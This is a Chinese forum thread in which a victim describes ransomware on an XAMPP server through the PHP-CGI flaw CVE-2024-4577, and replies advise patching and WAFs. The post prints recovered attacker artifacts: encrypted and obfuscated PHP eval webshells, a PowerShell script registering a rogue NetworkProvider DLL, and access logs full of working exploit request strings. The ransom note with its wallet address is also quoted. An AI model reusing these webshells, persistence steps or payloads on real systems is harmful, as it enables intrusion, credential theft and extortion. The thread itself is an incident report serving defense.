最新的PHP CGI漏洞导致XMAPP和PHP用户被黑客攻击

w1230147

最近个人利用XMAPP搭建的接口服务器频繁被黑客利用PHP CGI漏洞攻击成功加密勒索，火绒杀毒压根毫无抵抗能力，导致我的文件全部被加密
文尾附上大神给出的对应解决方案


勒索信
send 0.1btc to my address:bc1qnuxx83nd4keeegrumtnu8kup8g02yzgff6z53l. contact email:service@cyberkiller.xyz,if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me .your id: ATNt6+ZtVrCIeFC5U1BRk2lfVnH9PMkBcgHIXRMbbGMooep42uYkswPJ5fvKEk9SqwNkoF4827E84M6FBDOXxPxqu8dNGY7pp7gZ2zlvs2srDFiriNwCE9q37l7BBKEwGG0cL4LSvHrEvqdjUWlgF+9rUkCJlmELdpV7ZipiGLPELmuM//t9oPRdQ1EABoSp1tx85N06HUgoQcLeGywGWVd1C8IduVfkTTJCYddh2onnpai3wtCaac7dsE1079NHGCmmNVgHCnbojJWBGttYlrzQ8KHaJwtbfo108XTvb25fdD2Wafjy77ucY7kbEvk8JirTzcgVmd76f3NcuoEfQzVU4JT3MB5i6pgPgDQ45RkGW/Q8OaCW27MFj5VB8EvTwvO6uIbR1Yk0vQDKXNC/3FNFvp8nSNanGFKjg+VnrV/VfqghF/G/RBZAudLa920oq/hiTF1qER75tDSOOY2wJJDirt65V4bKUTPJdC6xSlhZjEr4YtTTuucBUJ7sSwe/KdgOY1EnI3zkTDkXvuyzERQSbbXUFMUv8rMr98tgTqwsALtzZUZ7Du3nAqsLBHPDvvnT+66LYiJpDFgdEHVgq43PBiyKDT3S6PyaEr49sYE/8tLDxJR2gQwflfWgEa0fcS1I5PvygZUiPc8Lpk/eryFxi5kGtsUJh/LlQocWq2ZK3w37La7wHNAAQpay0TDN6wNU6pQrA1TRy5fq7rTFf6yyqKdBlnNfcpPo4vLESRESYDf09nw6+6pePm0m2XDBvpGICc1CQo+OZyRTuSGFesg0QAlrbEsb271H0O25BM3Qnlnb8BYIEqY+bTF/uYkRmiJzhVaKCFCZ/V/MjonQCP+glza8sGAQAruCNd2wfWvznJUs5GiI6fCBUPTvWrxjacxCHBo/dUHSgBeeKvEVyGVxiOL6kIeW37EGFXqnLavAgZ9LxYe0RpnD5iq8H5zCPeeUh2FS43vSLoCUalHdSbw1ooDdrGijX/DimcOEgxBjSY+QbAfaLrywFxwWTnrvwcOthF/3nY+XS6FaJ1Hs2Z5xdyt2v9iHwK/eIIU+DjsbooTU43WOduEE9H09T1uHEoAYoNSD61tLsXEi4ruOmVB4lxS/ak6LB/JenRIDpEIQEm3hhwM82LLHuvVkw3U6WSoFMCcpdoZwAoBX6Bjkmi5t9Hg0lZU3q0i95ySfdbzJFE=

无语啊，好在一直白嫖阿里云盘，对关键应用进行了时时备份。重装云服务器，花了四个多小时搭建好环境


然后安装了腾讯管家和360卫士，在恶意代码运行起到一定防范作用，但是黑客还是能利用漏洞创建管理员用户在系统关键位置释放exe,dll及hotdoc文件夹创建恶意PHP脚本和powershell脚本,吓的我都不敢开HTTP服务。关闭80端口及防火墙设置，但是依然毛用都没

附上黑客入侵的痕迹

[PHP] 纯文本查看 复制代码

<?php
@error_reporting(0);
        function Decrypt($data)
        {
                $key="e45e329feb5d925b"; 
                return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
        }
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>
<?php
2
$p=$_COOKIE;(count($p)==12&&in_array(gettype($p).count($p),$p))?(($p[user]=substr($p[user],5).substr($p[user1],8).substr($p[KEY_RANDOMDATA],4).substr($p[KEY_RANDOMDATA1],5).substr($p[KEY_RANDOMAPP],5).substr($p[KEY_RANDOMAPP1],1).substr($p[CAT_SESSION],2).substr($p[CAT_SESSION1],3))&&($p[passwd]=$p[user](substr($p[user](substr($p[passwd],15)),12)))&&($p=$p[passwd]($p[captcha],$p[user](substr($p[user](substr($p[VALIDATE_QS],13)),14))))&&$p()):$p;
3
?>

[PHP] 纯文本查看 复制代码

Mobile_config<?php $NotFound=create_function(base64_decode("JA==").chr(114195/993).str_rot13("b").str_rot13("z").chr(708-607),chr(0xc60e/0x1f6).base64_decode("dg==").str_rot13("n").chr(390-282).chr(0x1ae-0x186).chr(0x3ac-0x388).chr(0xd561/0x1db).base64_decode("bw==").base64_decode("bQ==").base64_decode("ZQ==").str_rot13(")").chr(798-[img=110,0]https://attach.52pojie.cn//forum/202406/13/230138cz1mmxqamjm9drfa.png?l[/img]739));$part1="OTM2NDM3";$part2="O0BldmFs";$part3="KCRfUE9T";$part4="VFsnc29t";$part5="ZXRoaW5n";$part6="J10pOzI4";$part7="MDkzMTE7";$encoded=$part1.$part2.$part3.$part4.$part5.$part6.$part7;$NotFound(base64_decode($encoded));

[Shell] 纯文本查看 复制代码

$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER$UpdatedValue = $Path.PROVIDERORDER + ",Powermanager"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue

New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\Powermanager
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\Powermanager\NetworkProvider
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\Powermanager\NetworkProvider -Name "Class" -Value 2
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\Powermanager\NetworkProvider -Name "Name" -Value Powermanager
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\Powermanager\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\appverify.dll"

最后终于2024年6月12日下午有大神发布了针对这次漏洞的防范方法，附上设置后卫士和管家的防范日志，貌似是暂时堵住了，但是下一个漏洞被挖掘还能防的住么

不看XMAPP日志不知道一看日志吓一跳
老美和台湾黑客一直在利用PHP CGI漏洞 坚持不懈不停的攻克我的服务器，我该如何反击

[Asm] 纯文本查看 复制代码

[13/Jun/2024:16:06:20 +0800] 49.85.79.223 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 305
[13/Jun/2024:16:06:51 +0800] 162.216.149.99 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 284
[13/Jun/2024:16:33:32 +0800] 185.59.223.68 - - "GET / HTTP/1.0" 362
[13/Jun/2024:16:44:04 +0800] 103.166.86.154 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 204
[13/Jun/2024:16:44:04 +0800] 103.166.86.154 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 204
[13/Jun/2024:16:44:04 +0800] 103.166.86.154 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /cgi-bin/php.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 204
[13/Jun/2024:16:44:04 +0800] 103.166.86.154 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 204
[13/Jun/2024:16:44:04 +0800] 103.166.86.154 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 349
[13/Jun/2024:16:44:04 +0800] 103.166.86.154 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /index.test?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 204
[13/Jun/2024:16:45:13 +0800] 146.70.200.117 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe/?%ADd+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0 HTTP/1.1" 204
[13/Jun/2024:16:46:04 +0800] 103.166.86.154 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 204
[13/Jun/2024:16:46:04 +0800] 103.166.86.154 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 204
[13/Jun/2024:16:46:04 +0800] 103.166.86.154 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /cgi-bin/php.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 204
[13/Jun/2024:16:46:04 +0800] 103.166.86.154 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 204
[13/Jun/2024:16:46:05 +0800] 103.166.86.154 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 390
[13/Jun/2024:16:46:05 +0800] 103.166.86.154 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /index.test?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 204
[13/Jun/2024:16:52:17 +0800] 146.70.200.117 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe/?%ADd+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0 HTTP/1.1" 204
[13/Jun/2024:17:18:24 +0800] 87.236.176.13 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 283
[13/Jun/2024:18:12:37 +0800] 104.234.204.32 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /assets/.git/config HTTP/1.1" 204
[13/Jun/2024:18:23:05 +0800] 104.234.204.32 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /assets/.git/config HTTP/1.1" 204
[13/Jun/2024:18:33:32 +0800] 218.75.105.196 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /index.php?%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input HTTP/1.1" 294
[13/Jun/2024:18:33:38 +0800] 77.36.2.28 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 204
[13/Jun/2024:18:34:10 +0800] 77.36.2.28 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 204
[13/Jun/2024:18:40:03 +0800] 66.103.201.244 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 345
[13/Jun/2024:18:40:04 +0800] 66.103.201.244 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 284
[13/Jun/2024:18:40:05 +0800] 66.103.201.244 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 204
[13/Jun/2024:18:40:15 +0800] 66.103.201.244 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 204
[13/Jun/2024:18:40:27 +0800] 66.103.201.244 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /index.php?%ADd%20allow_url_include%3d1%20-d%20auto_prepend_file%3dphp://input HTTP/1.1" 307
[13/Jun/2024:18:41:53 +0800] 123.57.13.121 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 290
[13/Jun/2024:18:52:26 +0800] 66.103.201.244 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 294
[13/Jun/2024:18:52:26 +0800] 66.103.201.244 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 345
[13/Jun/2024:18:52:27 +0800] 66.103.201.244 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 204
[13/Jun/2024:18:52:38 +0800] 66.103.201.244 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 204
[13/Jun/2024:18:52:49 +0800] 66.103.201.244 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /index.php?%ADd%20allow_url_include%3d1%20-d%20auto_prepend_file%3dphp://input HTTP/1.1" 257
[13/Jun/2024:19:01:29 +0800] 223.113.128.227 - - "GET / HTTP/1.0" 362
[13/Jun/2024:19:01:38 +0800] 223.113.128.227 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 350
[13/Jun/2024:19:01:39 +0800] 223.113.128.227 TLSv1.3 TLS_AES_256_GCM_SHA384 "t3 12.1.2\n" 226
[13/Jun/2024:19:02:31 +0800] 184.94.212.101 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1" 204
[13/Jun/2024:19:03:01 +0800] 184.94.212.101 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%add+allow_url_include%3dOn+-d+auto_prepend_file%3dphp://input+-d+error_reporting%3d0 HTTP/1.1" 204
[13/Jun/2024:19:03:14 +0800] 106.75.101.79 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 348
[13/Jun/2024:19:03:16 +0800] 106.75.101.79 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 204
[13/Jun/2024:19:03:46 +0800] 106.75.101.79 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" 204
[13/Jun/2024:19:03:46 +0800] 106.75.101.79 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /sitemap.xml HTTP/1.1" 204
[13/Jun/2024:19:04:20 +0800] 106.75.101.79 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /axis2-admin/ HTTP/1.1" 204
[13/Jun/2024:19:04:35 +0800] 106.75.101.79 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /axis2/ HTTP/1.1" 204
[13/Jun/2024:19:04:50 +0800] 106.75.101.79 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /axis2/axis2-admin/ HTTP/1.1" 204
[13/Jun/2024:19:38:24 +0800] 52.160.33.137 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owa/auth/x.js HTTP/1.1" 204
[13/Jun/2024:19:47:22 +0800] 34.22.208.68 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 292
[13/Jun/2024:20:43:11 +0800] 172.169.2.103 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /version HTTP/1.1" 204
[13/Jun/2024:21:27:32 +0800] 220.133.168.167 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 204
[13/Jun/2024:21:27:32 +0800] 220.133.168.167 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 204
[13/Jun/2024:21:32:12 +0800] 220.133.168.167 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 204
[13/Jun/2024:21:39:09 +0800] 123.57.13.121 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 256

最后附上大神给出的PHP CGI漏洞设置方法 https://www.163.com/dy/article/J4GA0GDN05567S03.html

爱飞的猫

换 Linux 或升级 PHP，这个漏洞只影响 Windows。

修了的 PHP 版本：8.1.29、8.2.20、8.3.8（更新日志，关键字 CVE-2024-4577）

8.0.x 或更低、8.0.x、8.1.0~28、8.2.0~19、8.3.0~7 没有这个安全补丁。

ZhjhJZ

火绒杀毒压根毫无抵抗能力，腾讯管家和360卫士，在恶意代码运行起到一定防范作用，但是……老美和台湾黑客一直在利用PHP CGI漏洞 坚持不懈不停的攻克我的服务器，我该如何反击

开创者

装安全软件吧，实在不行，付费的也可以的。
要不然就自己能解决，可以不装。
这种情况很难受的。
我遇到就是关机处理，
实在没有什么办法好解决。

ZhjhJZ

火绒杀毒压根毫无抵抗能力，腾讯管家和360卫士，在恶意代码运行起到一定防范作用，但是……黑客一直在利用PHP CGI漏洞 坚持不懈不停的攻克我的服务器，该如何反击

third1979

这个？？360  腾讯管家是真的么？？？

kissboss

我这天天被扫，大部分是国外IP，禁止国外IP访问后清静多了。
国内也会有个别IP扫我，我发现一个封一个。

Liebesfreud

感谢大佬分享，小白表示瑞斯拜

一块腹肌Leon

这个漏洞好像针对的是线上windows服务器  centOs 搭建的话 就没有影响

hinsskg

上cwpp和waf吧，waf用雷池可以白嫖。你这些pc的安全软件真的不太管用